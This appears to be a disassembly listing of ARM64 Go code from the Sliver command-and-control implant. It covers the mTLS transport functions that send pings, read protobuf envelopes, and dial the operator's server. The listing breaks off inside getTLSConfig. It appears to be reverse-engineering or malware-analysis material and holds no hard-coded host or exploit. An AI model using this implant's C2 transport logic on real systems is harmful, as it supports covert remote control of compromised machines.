003dded8stp xzr, xzr, [sp+416]
003ddedcadd x3, sp, 400
003ddee0str x3, [sp+248]
003ddee4ldrsb x27, [x3]
003ddee8adrp x4, 0x218000
003ddeecadd x4, x4, 2944
003ddef0str x4, [x3]
003ddef4adrp x27, 0x66e000
003ddef8ldr w4, [x27+3056]
003ddefccbz w4, 0x3ddf04
003ddf00b 0x3ddf08
003ddf04
003ddf04loc_3ddf04:
003ddf04b 0x3ddf18
003ddf08
003ddf08loc_3ddf08:
003ddf08ldr x4, [x3+8]
003ddf0cbl runtime.gcWriteBarrier1
003ddf10str x4, [x25]
003ddf14b 0x3ddf18
003ddf18
003ddf18loc_3ddf18:
003ddf18adrp x4, 0x335000
003ddf1cadd x4, x4, 416
003ddf20str x4, [x3+8]
003ddf24ldr x3, [sp+104]
003ddf28ldr x4, [sp+112]
003ddf2cstr x3, [sp+232]
003ddf30str x4, [sp+240]
003ddf34str x3, [sp+224]
003ddf38ldr x3, [sp+224]
003ddf3ccbnz x3, 0x3ddf44
003ddf40b 0x3ddf54
003ddf44
003ddf44loc_3ddf44:
003ddf44ldr x3, [sp+224]
003ddf48ldr x3, [x3+8]
003ddf4cstr x3, [sp+224]
003ddf50b 0x3ddf58
003ddf54
003ddf54loc_3ddf54:
003ddf54b 0x3ddf58
003ddf58
003ddf58loc_3ddf58:
003ddf58ldr x3, [sp+248]
003ddf5cldrsb x27, [x3]
003ddf60ldr x4, [sp+224]
003ddf64ldr x5, [sp+240]
003ddf68str x4, [x3+16]
003ddf6cadrp x27, 0x66e000
003ddf70ldr w4, [x27+3056]
003ddf74cbz w4, 0x3ddf7c
003ddf78b 0x3ddf80
003ddf7c
003ddf7cloc_3ddf7c:
003ddf7cb 0x3ddf94
003ddf80
003ddf80loc_3ddf80:
003ddf80bl runtime.gcWriteBarrier2
003ddf84str x5, [x25]
003ddf88ldr x4, [x3+24]
003ddf8cstr x4, [x25+8]
003ddf90b 0x3ddf94
003ddf94
003ddf94loc_3ddf94:
003ddf94str x5, [x3+24]
003ddf98ldr x0, [sp+248]
003ddf9cldrsb x27, [x0]
003ddfa0b 0x3ddfa4
003ddfa4
003ddfa4loc_3ddfa4:
003ddfa4str x0, [sp+256]
003ddfa8orr x2, xzr, 2
003ddfacstr x2, [sp+264]
003ddfb0str x2, [sp+272]
003ddfb4mov x1, x2
003ddfb8bl log.Print
003ddfbcldr x0, [sp+104]
003ddfc0ldr x1, [sp+112]
003ddfc4str x0, [sp+88]
003ddfc8str x1, [sp+96]
003ddfccldp x29, x30, [sp-8]
003ddfd0add sp, sp, 512
003ddfd4ret x30
003ddfd8
003ddfd8loc_3ddfd8:
003ddfd8stp xzr, xzr, [sp+88]
003ddfdcmov x0, xzr
003ddfe0mov x1, xzr
003ddfe4ldp x29, x30, [sp-8]
003ddfe8add sp, sp, 512
003ddfecret x30
003ddff0
003ddff0loc_3ddff0:
003ddff0stp x0, x1, [sp+8]
003ddff4mov x3, x30
003ddff8bl runtime.morestack_noctxt.abi0
003ddffcldp x0, x1, [sp+8]
003de000b 0x3ddb30
003de004udf 0
003de008udf 0
003de00cudf 0
003ddb30

003de010
003de010github.com/bishopfox/sliver/implant/sliver/transports/mtls.WritePing: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.WritePing(crypto/tls.Conn * connection)
003de010ldr x16, [x28+16]
003de014sub x17, sp, 240
003de018subs xzr, x17, x16
003de01cb.ls 0x3de27c
003de020sub x20, sp, 368
003de024stp x29, x30, [x20-8]
003de028add sp, x20, 0
003de02csub x29, sp, 8
003de030str x0, [sp+376]
003de034stp xzr, xzr, [sp+56]
003de038stp xzr, xzr, [sp+144]
003de03cadd x0, sp, 144
003de040str x0, [sp+320]
003de044ldrsb x27, [x0]
003de048adrp x3, 0x217000
003de04cadd x3, x3, 2944
003de050str x3, [x0]
003de054adrp x27, 0x66d000
003de058ldr w3, [x27+3056]
003de05ccbz w3, 0x3de064
003de060b 0x3de068
003de064
003de064loc_3de064:
003de064b 0x3de078
003de068
003de068loc_3de068:
003de068ldr x3, [x0+8]
003de06cbl runtime.gcWriteBarrier1
003de070str x3, [x25]
003de074b 0x3de078
003de078
003de078loc_3de078:
003de078adrp x3, 0x334000
003de07cadd x3, x3, 432
003de080str x3, [x0+8]
003de084ldrsb x27, [x0]
003de088b 0x3de08c
003de08c
003de08cloc_3de08c:
003de08cstr x0, [sp+328]
003de090orr x2, xzr, 1
003de094str x2, [sp+336]
003de098str x2, [sp+344]
003de09cmov x1, x2
003de0a0bl log.Print
003de0a4adrp x0, 0x29e000
003de0a8add x0, x0, 3616
003de0acbl runtime.newobject
003de0b0str x0, [sp+312]
003de0b4adrp x27, 0x66d000
003de0b8ldr w3, [x27+3056]
003de0bccbz w3, 0x3de0c4
003de0c0b 0x3de0c8
003de0c4
003de0c4loc_3de0c4:
003de0c4b 0x3de0e4
003de0c8
003de0c8loc_3de0c8:
003de0c8str x0, [sp+216]
003de0ccmov x1, x0
003de0d0adrp x0, 0x29e000
003de0d4add x0, x0, 3616
003de0d8bl runtime.wbZero
003de0dcldr x0, [sp+216]
003de0e0b 0x3de0e4
003de0e4
003de0e4loc_3de0e4:
003de0e4stp xzr, xzr, [x0]
003de0e8stp xzr, xzr, [x0+16]
003de0ecstp xzr, xzr, [x0+32]
003de0f0stp xzr, xzr, [x0+48]
003de0f4ldr x2, [sp+312]
003de0f8ldrsb x27, [x2]
003de0fcmovz x3, 31337
003de100str w3, [x2+8]
003de104ldr x2, [sp+312]
003de108str x2, [sp+136]
003de10cstp xzr, xzr, [sp+112]
003de110str xzr, [sp+128]
003de114stp xzr, xzr, [sp+96]
003de118ldr x1, [sp+136]
003de11cadrp x0, 0x336000
003de120add x0, x0, 1024
003de124bl google.golang.org/protobuf/proto.Marshal
003de128str x0, [sp+112]
003de12cstr x1, [sp+120]
003de130str x2, [sp+128]
003de134str x3, [sp+96]
003de138str x4, [sp+104]
003de13cldr x2, [sp+112]
003de140ldr x3, [sp+120]
003de144ldr x4, [sp+128]
003de148str x2, [sp+176]
003de14cstr x3, [sp+184]
003de150str x4, [sp+192]
003de154ldr x2, [sp+96]
003de158ldr x3, [sp+104]
003de15cstr x2, [sp+160]
003de160str x3, [sp+168]
003de164ldr x2, [sp+176]
003de168ldr x3, [sp+184]
003de16cldr x4, [sp+192]
003de170str x2, [sp+72]
003de174str x3, [sp+80]
003de178str x4, [sp+88]
003de17cadrp x0, 0x2a6000
003de180add x0, x0, 2848
003de184bl runtime.newobject
003de188str x0, [sp+352]
003de18cadd x20, sp, 224
003de190adr x27, 16
003de194stp x29, x27, [sp-24]
003de198sub x29, sp, 24
003de19cbl fn_87cfc
003de1a0sub x29, sp, 8
003de1a4str xzr, [sp+304]
003de1a8orr x2, xzr, 3
003de1acstr w2, [sp+240]
003de1b0ldr x3, [sp+72]
003de1b4ldr x4, [sp+80]
003de1b8ldr x5, [sp+88]
003de1bcstr x3, [sp+248]
003de1c0str x4, [sp+256]
003de1c4str x5, [sp+264]
003de1c8ldr x20, [sp+352]
003de1ccstr x20, [sp+208]
003de1d0adrp x27, 0x66d000
003de1d4ldr w6, [x27+3056]
003de1d8cbz w6, 0x3de1e0
003de1dcb 0x3de1e4
003de1e0
003de1e0loc_3de1e0:
003de1e0b 0x3de228
003de1e4
003de1e4loc_3de1e4:
003de1e4str x3, [sp+200]
003de1e8str x4, [sp+48]
003de1ecstr x5, [sp+40]
003de1f0bl runtime.gcWriteBarrier2
003de1f4str x3, [x25]
003de1f8ldr x2, [x20+24]
003de1fcstr x2, [x25+8]
003de200adrp x0, 0x2a6000
003de204add x0, x0, 2848
003de208mov x1, x20
003de20cbl runtime.wbZero
003de210orr x2, xzr, 3
003de214ldr x3, [sp+200]
003de218ldr x4, [sp+48]
003de21cldr x5, [sp+40]
003de220ldr x20, [sp+208]
003de224b 0x3de228
003de228
003de228loc_3de228:
003de228adr x27, 16
003de22cstp x29, x27, [sp-24]
003de230sub x29, sp, 24
003de234bl fn_87cfc
003de238sub x29, sp, 8
003de23cldr x6, [sp+208]
003de240str xzr, [x6+80]
003de244str w2, [x6+16]
003de248str x3, [x6+24]
003de24cstr x4, [x6+32]
003de250str x5, [x6+40]
003de254ldr x0, [sp+376]
003de258ldr x1, [sp+352]
003de25cbl github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope
003de260str x0, [sp+96]
003de264str x1, [sp+104]
003de268str x0, [sp+56]
003de26cstr x1, [sp+64]
003de270ldp x29, x30, [sp-8]
003de274add sp, sp, 368
003de278ret x30
003de27c
003de27cloc_3de27c:
003de27cstr x0, [sp+8]
003de280mov x3, x30
003de284bl runtime.morestack_noctxt.abi0
003de288ldr x0, [sp+8]
003de28cb 0x3de010
003de010

003de290
003de290github.com/bishopfox/sliver/implant/sliver/transports/mtls.ReadEnvelope: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.ReadEnvelope(crypto/tls.Conn * connection)
003de290ldr x16, [x28+16]
003de294sub x17, sp, 384
003de298subs xzr, x17, x16
003de29cb.ls 0x3de898
003de2a0sub x20, sp, 512
003de2a4stp x29, x30, [x20-8]
003de2a8add sp, x20, 0
003de2acsub x29, sp, 8
003de2b0str x0, [sp+520]
003de2b4str xzr, [sp+112]
003de2b8stp xzr, xzr, [sp+96]
003de2bcadrp x0, 0x217000
003de2c0add x0, x0, 3072
003de2c4orr x1, xzr, 4
003de2c8mov x2, x1
003de2ccbl runtime.makeslice
003de2d0str x0, [sp+144]
003de2d4orr x3, xzr, 4
003de2d8str x3, [sp+152]
003de2dcstr x3, [sp+160]
003de2e0str x3, [sp+80]
003de2e4strb wzr, [sp+51]
003de2e8b 0x3de2ec
003de2ec
003de2ecloc_3de2ec:
003de2ecldr x5, [sp+520]
003de2f0subs xzr, x5, 0
003de2f4cset x6, ne
003de2f8eor x6, x6, 1
003de2fcstrb w6, [sp+51]
003de300b 0x3de304
003de304
003de304loc_3de304:
003de304cbnz x5, 0x3de30c
003de308b 0x3de880
003de30c
003de30cloc_3de30c:
003de30cstp xzr, xzr, [sp+472]
003de310ldr x2, [sp+144]
003de314ldr x3, [sp+152]
003de318ldr x4, [sp+160]
003de31cldr x1, [sp+520]
003de320adrp x0, 0x337000
003de324add x0, x0, 3584
003de328bl io.ReadFull
003de32cstr x0, [sp+80]
003de330str x1, [sp+472]
003de334str x2, [sp+480]
003de338ldr x5, [sp+80]
003de33cstr x5, [sp+72]
003de340str x1, [sp+192]
003de344str x2, [sp+200]
003de348ldr x5, [sp+72]
003de34cstr x5, [sp+56]
003de350str x1, [sp+120]
003de354str x2, [sp+128]
003de358subs xzr, x1, 0
003de35ccset x5, ne
003de360strb w5, [sp+51]
003de364cbnz x1, 0x3de36c
003de368b 0x3de370
003de36c
003de36cloc_3de36c:
003de36cb 0x3de384
003de370
003de370loc_3de370:
003de370ldr x5, [sp+56]
003de374subs xzr, x5, 4
003de378cset x5, ne
003de37cstrb w5, [sp+51]
003de380b 0x3de384
003de384
003de384loc_3de384:
003de384ldrb w5, [sp+51]
003de388tbnz w5, 0, 0x3de390
003de38cb 0x3de464
003de390
003de390loc_3de390:
003de390stp xzr, xzr, [sp+456]
003de394add x5, sp, 456
003de398str x5, [sp+416]
003de39cldr x5, [sp+120]
003de3a0ldr x6, [sp+128]
003de3a4str x5, [sp+400]
003de3a8str x6, [sp+408]
003de3acstr x5, [sp+392]
003de3b0ldr x5, [sp+392]
003de3b4cbnz x5, 0x3de3bc
003de3b8b 0x3de3cc
003de3bc
003de3bcloc_3de3bc:
003de3bcldr x5, [sp+392]
003de3c0ldr x5, [x5+8]
003de3c4str x5, [sp+392]
003de3c8b 0x3de3d0
003de3cc
003de3ccloc_3de3cc:
003de3ccb 0x3de3d0
003de3d0
003de3d0loc_3de3d0:
003de3d0ldr x5, [sp+416]
003de3d4ldrsb x27, [x5]
003de3d8ldr x6, [sp+408]
003de3dcldr x7, [sp+392]
003de3e0str x7, [x5]
003de3e4adrp x27, 0x66d000
003de3e8ldr w7, [x27+3056]
003de3eccbz w7, 0x3de3f4
003de3f0b 0x3de3f8
003de3f4
003de3f4loc_3de3f4:
003de3f4b 0x3de40c
003de3f8
003de3f8loc_3de3f8:
003de3f8bl runtime.gcWriteBarrier2
003de3fcstr x6, [x25]
003de400ldr x7, [x5+8]
003de404str x7, [x25+8]
003de408b 0x3de40c
003de40c
003de40cloc_3de40c:
003de40cstr x6, [x5+8]
003de410ldr x2, [sp+416]
003de414ldrsb x27, [x2]
003de418b 0x3de41c
003de41c
003de41cloc_3de41c:
003de41cstr x2, [sp+424]
003de420orr x4, xzr, 1
003de424str x4, [sp+432]
003de428str x4, [sp+440]
003de42cadrp x0, 0x2e2000
003de430add x0, x0, 3261
003de434movz x1, 35
003de438mov x3, x4
003de43cbl log.Printf
003de440str xzr, [sp+112]
003de444ldr x1, [sp+120]
003de448ldr x2, [sp+128]
003de44cstr x1, [sp+96]
003de450str x2, [sp+104]
003de454ldr x0, [sp+112]
003de458ldp x29, x30, [sp-8]
003de45cadd sp, sp, 512
003de460ret x30
003de464
003de464loc_3de464:
003de464ldr x0, [sp+144]
003de468ldr x1, [sp+152]
003de46cldr x2, [sp+160]
003de470bl encoding/binary.littleEndian.Uint32
003de474str w0, [sp+52]
003de478mov w2, w0
003de47cstr x2, [sp+64]
003de480subs xzr, x2, 0
003de484b.le 0x3de48c
003de488b 0x3de578
003de48c
003de48cloc_3de48c:
003de48cstp xzr, xzr, [sp+456]
003de490add x5, sp, 456
003de494str x5, [sp+360]
003de498ldr x5, [sp+120]
003de49cldr x6, [sp+128]
003de4a0str x5, [sp+344]
003de4a4str x6, [sp+352]
003de4a8str x5, [sp+336]
003de4acldr x5, [sp+336]
003de4b0cbnz x5, 0x3de4b8
003de4b4b 0x3de4c8
003de4b8
003de4b8loc_3de4b8:
003de4b8ldr x5, [sp+336]
003de4bcldr x5, [x5+8]
003de4c0str x5, [sp+336]
003de4c4b 0x3de4cc
003de4c8
003de4c8loc_3de4c8:
003de4c8b 0x3de4cc
003de4cc
003de4ccloc_3de4cc:
003de4ccldr x5, [sp+360]
003de4d0ldrsb x27, [x5]
003de4d4ldr x6, [sp+336]
003de4d8ldr x7, [sp+352]
003de4dcstr x6, [x5]
003de4e0adrp x27, 0x66d000
003de4e4ldr w6, [x27+3056]
003de4e8cbz w6, 0x3de4f0
003de4ecb 0x3de4f4
003de4f0
003de4f0loc_3de4f0:
003de4f0b 0x3de508
003de4f4
003de4f4loc_3de4f4:
003de4f4bl runtime.gcWriteBarrier2
003de4f8str x7, [x25]
003de4fcldr x6, [x5+8]
003de500str x6, [x25+8]
003de504b 0x3de508
003de508
003de508loc_3de508:
003de508str x7, [x5+8]
003de50cldr x2, [sp+360]
003de510ldrsb x27, [x2]
003de514b 0x3de518
003de518
003de518loc_3de518:
003de518str x2, [sp+368]
003de51corr x4, xzr, 1
003de520str x4, [sp+376]
003de524str x4, [sp+384]
003de528adrp x0, 0x2da000
003de52cadd x0, x0, 1605
003de530movz x1, 23
003de534mov x3, x4
003de538bl log.Printf
003de53cadrp x0, 0x2da000
003de540add x0, x0, 2502
003de544movz x1, 23
003de548bl errors.New
003de54cstr x0, [sp+472]
003de550str x1, [sp+480]
003de554str xzr, [sp+112]
003de558ldr x1, [sp+472]
003de55cldr x2, [sp+480]
003de560str x1, [sp+96]
003de564str x2, [sp+104]
003de568ldr x0, [sp+112]
003de56cldp x29, x30, [sp-8]
003de570add sp, sp, 512
003de574ret x30
003de578
003de578loc_3de578:
003de578adrp x0, 0x217000
003de57cadd x0, x0, 3072
003de580mov x1, x2
003de584bl runtime.makeslice
003de588ldr x3, [sp+64]
003de58cldr x4, [sp+64]
003de590str x0, [sp+168]
003de594str x3, [sp+176]
003de598str x4, [sp+184]
003de59cstp xzr, xzr, [sp+472]
003de5a0ldr x2, [sp+168]
003de5a4ldr x3, [sp+176]
003de5a8ldr x4, [sp+184]
003de5acldr x1, [sp+520]
003de5b0adrp x0, 0x337000
003de5b4add x0, x0, 3584
003de5b8bl io.ReadFull
003de5bcstr x0, [sp+80]
003de5c0str x1, [sp+472]
003de5c4str x2, [sp+480]
003de5c8ldr x3, [sp+80]
003de5ccstr x3, [sp+88]
003de5d0str x1, [sp+488]
003de5d4str x2, [sp+496]
003de5d8ldr x3, [sp+88]
003de5dcstr x3, [sp+56]
003de5e0str x1, [sp+120]
003de5e4str x2, [sp+128]
003de5e8subs xzr, x1, 0
003de5eccset x3, ne
003de5f0strb w3, [sp+51]
003de5f4cbnz x1, 0x3de5fc
003de5f8b 0x3de600
003de5fc
003de5fcloc_3de5fc:
003de5fcb 0x3de618
003de600
003de600loc_3de600:
003de600ldr x5, [sp+56]
003de604ldr x6, [sp+64]
003de608subs xzr, x6, x5
003de60ccset x5, ne
003de610strb w5, [sp+51]
003de614b 0x3de618
003de618
003de618loc_3de618:
003de618ldrb w5, [sp+51]
003de61ctbnz w5, 0, 0x3de624
003de620b 0x3de6f8
003de624
003de624loc_3de624:
003de624stp xzr, xzr, [sp+456]
003de628add x5, sp, 456
003de62cstr x5, [sp+304]
003de630ldr x5, [sp+120]
003de634ldr x6, [sp+128]
003de638str x5, [sp+288]
003de63cstr x6, [sp+296]
003de640str x5, [sp+280]
003de644ldr x5, [sp+280]
003de648cbnz x5, 0x3de650
003de64cb 0x3de660
003de650
003de650loc_3de650:
003de650ldr x5, [sp+280]
003de654ldr x5, [x5+8]
003de658str x5, [sp+280]
003de65cb 0x3de664
003de660
003de660loc_3de660:
003de660b 0x3de664
003de664
003de664loc_3de664:
003de664ldr x5, [sp+304]
003de668ldrsb x27, [x5]
003de66cldr x6, [sp+280]
003de670ldr x7, [sp+296]
003de674str x6, [x5]
003de678adrp x27, 0x66d000
003de67cldr w6, [x27+3056]
003de680cbz w6, 0x3de688
003de684b 0x3de68c
003de688
003de688loc_3de688:
003de688b 0x3de6a0
003de68c
003de68cloc_3de68c:
003de68cbl runtime.gcWriteBarrier2
003de690str x7, [x25]
003de694ldr x6, [x5+8]
003de698str x6, [x25+8]
003de69cb 0x3de6a0
003de6a0
003de6a0loc_3de6a0:
003de6a0str x7, [x5+8]
003de6a4ldr x2, [sp+304]
003de6a8ldrsb x27, [x2]
003de6acb 0x3de6b0
003de6b0
003de6b0loc_3de6b0:
003de6b0str x2, [sp+312]
003de6b4orr x4, xzr, 1
003de6b8str x4, [sp+320]
003de6bcstr x4, [sp+328]
003de6c0adrp x0, 0x2d6000
003de6c4add x0, x0, 1527
003de6c8orr x1, xzr, 15
003de6ccmov x3, x4
003de6d0bl log.Printf
003de6d4str xzr, [sp+112]
003de6d8ldr x1, [sp+120]
003de6dcldr x2, [sp+128]
003de6e0str x1, [sp+96]
003de6e4str x2, [sp+104]
003de6e8ldr x0, [sp+112]
003de6ecldp x29, x30, [sp-8]
003de6f0add sp, sp, 512
003de6f4ret x30
003de6f8
003de6f8loc_3de6f8:
003de6f8adrp x0, 0x2a6000
003de6fcadd x0, x0, 2848
003de700bl runtime.newobject
003de704str x0, [sp+272]
003de708adrp x27, 0x66d000
003de70cldr w1, [x27+3056]
003de710cbz w1, 0x3de718
003de714b 0x3de71c
003de718
003de718loc_3de718:
003de718b 0x3de738
003de71c
003de71cloc_3de71c:
003de71cstr x0, [sp+208]
003de720mov x1, x0
003de724adrp x0, 0x2a6000
003de728add x0, x0, 2848
003de72cbl runtime.wbZero
003de730ldr x0, [sp+208]
003de734b 0x3de738
003de738
003de738loc_3de738:
003de738mov x20, x0
003de73cadr x27, 16
003de740stp x29, x27, [sp-24]
003de744sub x29, sp, 24
003de748bl fn_87cfc
003de74csub x29, sp, 8
003de750str xzr, [x0+80]
003de754ldr x4, [sp+272]
003de758str x4, [sp+136]
003de75cstr x4, [sp+448]
003de760ldr x1, [sp+176]
003de764ldr x2, [sp+184]
003de768ldr x0, [sp+168]
003de76cadrp x3, 0x336000
003de770add x3, x3, 1184
003de774bl google.golang.org/protobuf/proto.Unmarshal
003de778str x0, [sp+120]
003de77cstr x1, [sp+128]
003de780cbnz x0, 0x3de788
003de784b 0x3de85c
003de788
003de788loc_3de788:
003de788stp xzr, xzr, [sp+456]
003de78cadd x5, sp, 456
003de790str x5, [sp+240]
003de794ldr x5, [sp+120]
003de798ldr x6, [sp+128]
003de79cstr x5, [sp+224]
003de7a0str x6, [sp+232]
003de7a4str x5, [sp+216]
003de7a8ldr x5, [sp+216]
003de7accbnz x5, 0x3de7b4
003de7b0b 0x3de7c4
003de7b4
003de7b4loc_3de7b4:
003de7b4ldr x5, [sp+216]
003de7b8ldr x5, [x5+8]
003de7bcstr x5, [sp+216]
003de7c0b 0x3de7c8
003de7c4
003de7c4loc_3de7c4:
003de7c4b 0x3de7c8
003de7c8
003de7c8loc_3de7c8:
003de7c8ldr x5, [sp+240]
003de7ccldrsb x27, [x5]
003de7d0ldr x6, [sp+216]
003de7d4ldr x7, [sp+232]
003de7d8str x6, [x5]
003de7dcadrp x27, 0x66d000
003de7e0ldr w6, [x27+3056]
003de7e4cbz w6, 0x3de7ec
003de7e8b 0x3de7f0
003de7ec
003de7ecloc_3de7ec:
003de7ecb 0x3de804
003de7f0
003de7f0loc_3de7f0:
003de7f0bl runtime.gcWriteBarrier2
003de7f4str x7, [x25]
003de7f8ldr x6, [x5+8]
003de7fcstr x6, [x25+8]
003de800b 0x3de804
003de804
003de804loc_3de804:
003de804str x7, [x5+8]
003de808ldr x2, [sp+240]
003de80cldrsb x27, [x2]
003de810b 0x3de814
003de814
003de814loc_3de814:
003de814str x2, [sp+248]
003de818orr x4, xzr, 1
003de81cstr x4, [sp+256]
003de820str x4, [sp+264]
003de824adrp x0, 0x2dd000
003de828add x0, x0, 3460
003de82corr x1, xzr, 28
003de830mov x3, x4
003de834bl log.Printf
003de838str xzr, [sp+112]
003de83cldr x1, [sp+120]
003de840ldr x2, [sp+128]
003de844str x1, [sp+96]
003de848str x2, [sp+104]
003de84cldr x0, [sp+112]
003de850ldp x29, x30, [sp-8]
003de854add sp, sp, 512
003de858ret x30
003de85c
003de85cloc_3de85c:
003de85cldr x3, [sp+136]
003de860str x3, [sp+112]
003de864stp xzr, xzr, [sp+96]
003de868ldr x0, [sp+112]
003de86cmov x1, xzr
003de870mov x2, xzr
003de874ldp x29, x30, [sp-8]
003de878add sp, sp, 512
003de87cret x30
003de880
003de880loc_3de880:
003de880adrp x0, 0x217000
003de884add x0, x0, 2944
003de888adrp x1, 0x333000
003de88cadd x1, x1, 1984
003de890bl runtime.gopanic
003de894hint
003de898
003de898loc_3de898:
003de898str x0, [sp+8]
003de89cmov x3, x30
003de8a0bl runtime.morestack_noctxt.abi0
003de8a4ldr x0, [sp+8]
003de8a8b 0x3de290
003de8acudf 0
003de290

003de8b0
003de8b0github.com/bishopfox/sliver/implant/sliver/transports/mtls.MtlsConnect: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.MtlsConnect(struct string address, uint16 port)
003de8b0ldr x16, [x28+16]
003de8b4sub x17, sp, 208
003de8b8subs xzr, x17, x16
003de8bcb.ls 0x3deb30
003de8c0sub x20, sp, 336
003de8c4stp x29, x30, [x20-8]
003de8c8add sp, x20, 0
003de8ccsub x29, sp, 8
003de8d0str x0, [sp+344]
003de8d4str x1, [sp+352]
003de8d8strh w2, [sp+360]
003de8dcstr xzr, [sp+72]
003de8e0stp xzr, xzr, [sp+56]
003de8e4bl github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig
003de8e8str x0, [sp+80]
003de8ecstp xzr, xzr, [sp+112]
003de8f0stp xzr, xzr, [sp+128]
003de8f4add x0, sp, 112
003de8f8str x0, [sp+240]
003de8fcldr x0, [sp+344]
003de900ldr x1, [sp+352]
003de904bl runtime.convTstring
003de908str x0, [sp+232]
003de90cldr x1, [sp+240]
003de910ldrsb x27, [x1]
003de914adrp x2, 0x217000
003de918add x2, x2, 2944
003de91cstr x2, [x1]
003de920adrp x27, 0x66d000
003de924ldr w2, [x27+3056]
003de928cbz w2, 0x3de930
003de92cb 0x3de934
003de930
003de930loc_3de930:
003de930b 0x3de948
003de934
003de934loc_3de934:
003de934bl runtime.gcWriteBarrier2
003de938str x0, [x25]
003de93cldr x2, [x1+8]
003de940str x2, [x25+8]
003de944b 0x3de948
003de948
003de948loc_3de948:
003de948str x0, [x1+8]
003de94cldrh w0, [sp+360]
003de950bl runtime.convT16
003de954str x0, [sp+224]
003de958ldr x1, [sp+240]
003de95cldrsb x27, [x1]
003de960adrp x2, 0x217000
003de964add x2, x2, 3200
003de968str x2, [x1+16]
003de96cadrp x27, 0x66d000
003de970ldr w2, [x27+3056]
003de974cbz w2, 0x3de97c
003de978b 0x3de980
003de97c
003de97cloc_3de97c:
003de97cb 0x3de994
003de980
003de980loc_3de980:
003de980bl runtime.gcWriteBarrier2
003de984str x0, [x25]
003de988ldr x5, [x1+24]
003de98cstr x5, [x25+8]
003de990b 0x3de994
003de994
003de994loc_3de994:
003de994str x0, [x1+24]
003de998ldr x2, [sp+240]
003de99cldrsb x27, [x2]
003de9a0b 0x3de9a4
003de9a4
003de9a4loc_3de9a4:
003de9a4str x2, [sp+248]
003de9a8orr x4, xzr, 2
003de9acstr x4, [sp+256]
003de9b0str x4, [sp+264]
003de9b4adrp x0, 0x2d2000
003de9b8add x0, x0, 1897
003de9bcmovz x1, 5
003de9c0mov x3, x4
003de9c4bl fmt.Sprintf
003de9c8str x0, [sp+312]
003de9ccstr x1, [sp+320]
003de9d0str xzr, [sp+304]
003de9d4stp xzr, xzr, [sp+288]
003de9d8ldr x4, [sp+80]
003de9dcldr x2, [sp+312]
003de9e0ldr x3, [sp+320]
003de9e4adrp x0, 0x2d2000
003de9e8add x0, x0, 459
003de9ecorr x1, xzr, 3
003de9f0bl crypto/tls.Dial
003de9f4str x0, [sp+304]
003de9f8str x1, [sp+288]
003de9fcstr x2, [sp+296]
003dea00ldr x5, [sp+304]
003dea04str x5, [sp+160]
003dea08ldr x5, [sp+288]
003dea0cldr x6, [sp+296]
003dea10str x5, [sp+144]
003dea14str x6, [sp+152]
003dea18ldr x5, [sp+160]
003dea1cstr x5, [sp+104]
003dea20ldr x5, [sp+152]
003dea24ldr x6, [sp+144]
003dea28str x6, [sp+88]
003dea2cstr x5, [sp+96]
003dea30cbnz x6, 0x3dea38
003dea34b 0x3deb0c
003dea38
003dea38loc_3dea38:
003dea38stp xzr, xzr, [sp+272]
003dea3cadd x5, sp, 272
003dea40str x5, [sp+192]
003dea44ldr x5, [sp+88]
003dea48ldr x6, [sp+96]
003dea4cstr x5, [sp+176]
003dea50str x6, [sp+184]
003dea54str x5, [sp+168]
003dea58ldr x5, [sp+168]
003dea5ccbnz x5, 0x3dea64
003dea60b 0x3dea74
003dea64
003dea64loc_3dea64:
003dea64ldr x5, [sp+168]
003dea68ldr x5, [x5+8]
003dea6cstr x5, [sp+168]
003dea70b 0x3dea78
003dea74
003dea74loc_3dea74:
003dea74b 0x3dea78
003dea78
003dea78loc_3dea78:
003dea78ldr x5, [sp+192]
003dea7cldrsb x27, [x5]
003dea80ldr x6, [sp+168]
003dea84ldr x7, [sp+184]
003dea88str x6, [x5]
003dea8cadrp x27, 0x66d000
003dea90ldr w6, [x27+3056]
003dea94cbz w6, 0x3dea9c
003dea98b 0x3deaa0
003dea9c
003dea9cloc_3dea9c:
003dea9cb 0x3deab4
003deaa0
003deaa0loc_3deaa0:
003deaa0bl runtime.gcWriteBarrier2
003deaa4str x7, [x25]
003deaa8ldr x6, [x5+8]
003deaacstr x6, [x25+8]
003deab0b 0x3deab4
003deab4
003deab4loc_3deab4:
003deab4str x7, [x5+8]
003deab8ldr x2, [sp+192]
003deabcldrsb x27, [x2]
003deac0b 0x3deac4
003deac4
003deac4loc_3deac4:
003deac4str x2, [sp+200]
003deac8orr x4, xzr, 1
003deaccstr x4, [sp+208]
003dead0str x4, [sp+216]
003dead4adrp x0, 0x2d9000
003dead8add x0, x0, 1551
003deadcmovz x1, 21
003deae0mov x3, x4
003deae4bl log.Printf
003deae8str xzr, [sp+72]
003deaecldr x1, [sp+88]
003deaf0ldr x2, [sp+96]
003deaf4str x1, [sp+56]
003deaf8str x2, [sp+64]
003deafcldr x0, [sp+72]
003deb00ldp x29, x30, [sp-8]
003deb04add sp, sp, 336
003deb08ret x30
003deb0c
003deb0cloc_3deb0c:
003deb0cldr x3, [sp+104]
003deb10str x3, [sp+72]
003deb14stp xzr, xzr, [sp+56]
003deb18ldr x0, [sp+72]
003deb1cmov x1, xzr
003deb20mov x2, xzr
003deb24ldp x29, x30, [sp-8]
003deb28add sp, sp, 336
003deb2cret x30
003deb30
003deb30loc_3deb30:
003deb30stp x0, x1, [sp+8]
003deb34strh w2, [sp+24]
003deb38mov x3, x30
003deb3cbl runtime.morestack_noctxt.abi0
003deb40ldp x0, x1, [sp+8]
003deb44ldrh w2, [sp+24]
003deb48b 0x3de8b0
003deb4cudf 0
003de8b0

003deb50
003deb50github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig(void)
003deb50ldr x16, [x28+16]
003deb54sub x17, sp, 784
003deb58subs xzr, x17, x16
003deb5cb.ls 0x3df00c
003deb60sub x20, sp, 912
003deb64stp x29, x30, [x20-8]
003deb68add sp, x20, 0
003deb6csub x29, sp, 8
003deb70str xzr, [sp+168]
003deb74adrp x27, 0x62f000
003deb78ldr x1, [x27+2992]
003deb7cadrp x27, 0x62f000
003deb80ldr x2, [x27+3000]
003deb84add x0, sp, 136
003deb88bl runtime.stringtoslicebyte
003deb8cstr x0, [sp+472]
003deb90str x1, [sp+480]
003deb94str x2, [sp+488]
003deb98adrp x27, 0x62f000
003deb9cldr x2, [x27+2984]
